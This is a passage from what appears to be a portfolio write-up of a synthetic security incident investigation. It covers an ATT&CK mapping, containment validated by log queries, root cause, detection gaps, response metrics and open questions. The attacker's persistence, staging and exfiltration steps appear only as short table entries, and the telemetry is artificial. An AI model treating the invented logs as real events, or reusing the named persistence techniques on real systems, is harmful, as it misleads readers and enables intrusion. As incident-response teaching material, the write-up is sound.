Abuse Elevation Control: Sudo	T1548.003	PRIV-001/002	Pre-existing `NOPASSWD`, not an exploit
Scheduled Task/Job: Cron	T1053.003	PERSIST-001/004	Drop-in under `/etc/cron.d`
Account Manipulation: SSH Authorized Keys	T1098.004	PERSIST-002/005, AUTH-018	Key appended, then removed
Scheduled Task/Job: Scheduled Task	T1053.005	PERSIST-003/006	`\OneDriveUpdate`
Remote Services: WinRM	T1021.006	NET-003/006, PRIV-003	The single lateral hop
Data from Information Repositories	T1213	APP-002/003	Bulk `COPY`
Data Staged: Local	T1074.001	FILE-004/005	`/tmp/.cache/cust.csv`; `%TEMP%\msupd`
Exfiltration Over Web Service	T1041	NET-002, PROC-017	HTTPS POST of the staged export

Deliberately not mapped: T1190 (exploit public-facing app — H-007 disproven), plus T1055, T1003, T1070 and T1486, for which there is no evidence. T1562 (Impair Defenses) is also excluded: no logging was disabled; the detection gaps were pre-existing. Mapping them would be fabrication. Full file: attack-mapping/attack-mapping.md.

21 · Response

containment, eradication, recovery — each validated

Every response action has a validation record. An action without validation is a hope, not a containment step. Containment began at 09:44:12, roughly one hour after initial access and 27 minutes after the alert.

$ awk '{ split($3,a,":"); h=a[1]*3600+a[2]*60+a[3]; if (h>=9*3600+44*60+12 && /deploy/) print }' \
    data/auth/app01_auth.log

Oct  8 09:47:31 app-01 sshd[5612]: Failed password for deploy from 198.51.100.24 port 50122 ssh2
Oct  8 09:52:08 app-01 sshd[5640]: Failed publickey for deploy from 198.51.100.24 port 50190 ssh2

Containment validated. After the account was disabled the attacker tried twice more, with the password (AUTH-017) and then with the SSH key (AUTH-018), and was rejected both times. The same source being blocked by the firewall is NET-013. No successful authentication for deploy from the attacker source appears after containment.

Phase	Action	Validation
Contain	Disable `deploy`; kill the session (09:44:12)	AUTH-017, AUTH-018 rejected; NET-013 firewall block
Eradicate	Remove cron drop-in; restore `authorized_keys` (10:05–10:07)	PERSIST-004, PERSIST-005; `find /etc/cron.d` empty
Eradicate	Delete `\OneDriveUpdate`; re-image `ws-02` (10:34)	PERSIST-006 (4699); FILE-005 staging gone
Recover	Rotate DB + `svc_backup` credentials (10:38)	APP-005 (application reconnects with new credential)
Recover	Rebuild `app-01`; health checks green (12:26)	AUTH-033 (key-only account), nginx monitor poll

What eradication cannot do. Removing persistence stops re-entry, but it does not bring the transferred data back. NET-002 and NET-007 are historical; the response is written so that this is stated rather than implied away (U-002, U-003).

22 · Root cause, gaps and metrics

Immediate cause: valid deploy credentials were used from the internet against an SSH service exposed through the NAT rule (8022→app-01:22). Root cause: service-account credential management and network exposure — a shared, long-lived password with excessive privilege, directly reachable from the internet, with no compensating control.

Contributing factors: password authentication enabled for a service account; a pre-existing NOPASSWD: ALL sudo grant; plaintext secrets readable by that account; a flat internal network; unrestricted egress.

Gap	Behaviour it hid	New detection
Failures not correlated with success	AUTH-001..014	DET-001 v2 (34m MTTD → seconds)
Service-account sudo unseen	PRIV-002	DET-002
Cron writes unseen	PERSIST-001	DET-003
Login→privilege not correlated	AUTH-014 + PRIV-002	DET-004 v2
Egress volume unseen	NET-002, NET-007	DET-006
Remote logon not baselined	NET-006	DET-007

Metric	Value
Initial malicious activity	08:43:17
Detection (ALERT-001)	09:17:40 — MTTD 34m23s
Alert → triage	1m25s
Alert → containment	26m32s
Activity → containment	60m55s
Alert → recovery validated	3h09m

The metric that matters. Every metric here is generated from the dataset, not estimated. The 34m23s MTTD is the headline: for the entire window during which the attacker escalated, persisted, exported customer data and moved laterally, there was no alert. The detection rules in section 17 are the corrective measure, and DET-001 reduces this class of MTTD to seconds.

23 · Uncertainty, findings and repository

what remains open, and its ceiling

A report is only honest if it states what it could not determine. Every open question is listed with its effect on confidence and the gap that causes it.

ID	Open question	Status	Limiting gap
U-001	How was the `deploy` password obtained?	Unresolved — guessing, stuffing and reuse are indistinguishable here	No credential-disclosure telemetry
U-002	Did the receiving host retain the exported data?	Unresolved — transfer confirmed, retention not	No endpoint visibility at `198.51.100.60`
U-003	What exactly left `ws-02`?	Probable — volume and timing match, content unverified	GAP-001 (no packet capture)
U-004	Were probes to `.40`, `.51`, `.61` answered?	Unresolved — silently dropped probes leave no flow	GAP-006 (flow export records completed/refused only)
U-006	Was there a second identity path (VPN / domain)?	Unresolved — not collected	GAP-004 (no DC/VPN logs)

Visibility gaps: GAP-001 no packet capture; GAP-002 DNS resolver gap 08:52:10–09:03:22; GAP-003 ws-02 clock skew; GAP-004 no DC/VPN logs; GAP-005 no general file-read audit; GAP-006 lossy flow export; GAP-007 no host EDR on db-01. Full register: uncertainty.md.

On GAP-002. The DNS gap overlaps the credential-access and persistence window, which looks alarming, but the attacker's exfiltration used raw addresses and needed no DNS, so the gap probably hides nothing relevant — and "probably" is honestly the ceiling. The gap is reported rather than smoothed over.

Five findings carry the incident. Confidence is stated per finding, and the two that remain lower-confidence are not dressed up.

Finding	Evidence	Confidence
F-001 Valid-account access from the internet	AUTH-014/015, PROC-003	High
F-002 Excessive privilege held by the service account	PRIV-001/002	High
F-003 Persistence across two hosts	PERSIST-001/002/003	High
F-004 Bulk export of customer data	APP-002/003, FILE-004	High (access), unresolved (retention)
F-005 Exfiltration and one lateral hop	NET-002/006/007, PROC-017	High (app-01), probable (ws-02)

The complete investigation report, including the executive summary, the full response decision table and the recommendations, is incident-report/incident-report.md. The analysis notebook, which reproduces the core numbers in standard-library Python, is notebook/analysis.ipynb.

soc-incident-response/
  README.md                  this case study, writable form
  data/                      16 synthetic telemetry files + SHA256SUMS
  evidence/                  manifest.yaml (65 records) + chain.md
  timeline/                  timeline.csv (70 rows, generated)
  detections/                sigma/ + queries/ + tests/ (8/8 pass)
  hunts/                     HUNT-001..004, with negative results
  iocs/                      iocs.md + iocs.csv
  attack-mapping/            ATT&CK table + flow
  incident-report/           full report
  notebook/                  analysis.ipynb
  lab/                       environment.md (design) + README.md (reproduce)
  scripts/                   generate_dataset.py, verify_evidence.py,
                             build_timeline.py, build_notebook.py,
                             queries/, reproduce.sh
  uncertainty.md             open questions and gaps

Reproduce all of it, in one command: bash scripts/reproduce.sh. It regenerates the dataset and checks it is byte-identical, verifies every data-file hash, re-reads and re-hashes all 65 evidence citations, reproduces the notebook, runs all eight detection tests and runs the investigation queries. It exits non-zero on any drift.

Safety. Everything in the repository is inert. The "malware" is a stub that only touches a file, all addresses are RFC 5737, and no working credential or exploit appears. The synthetic SSH key is a public key with no private counterpart in the repository and must not be reused.

Five-perspective review

The work was reviewed as five different practitioners would review it, and the review is published with the work. Each perspective names the thing it cares about and where this investigation stands.

Perspective	What they ask	Standing
SOC manager	Does the timeline explain the MTTD, and is the work repeatable by a junior analyst?	MTTD attributed to a specific missing correlation; every query is a one-line command
Detection engineer	Are the rules tuned on real noise, and do they have tests?	Two v1 rules reproduce real benign rows; 8/8 golden tests pass
Incident responder	Is containment proven, and is the scope bounded?	AUTH-017/018 validate containment; four hunts bound the scope, two negatively
DFIR analyst	Can every claim be traced to raw bytes, and is the chain unbroken?	65 citations, each re-hashed; timeline and notebook generated from the same manifest
Security engineer	Is the root cause a control failure, and are the fixes specific?	Root cause is credential/exposure; recommendations are concrete and ordered

Known limitation of the review. One author wrote the environment, the attack, the telemetry and the review. The compensating control is mechanical: the generator and verifier make the dataset self-consistent and independently checkable, which is why the claims can still be audited even though the perspectives are not truly independent.

All projects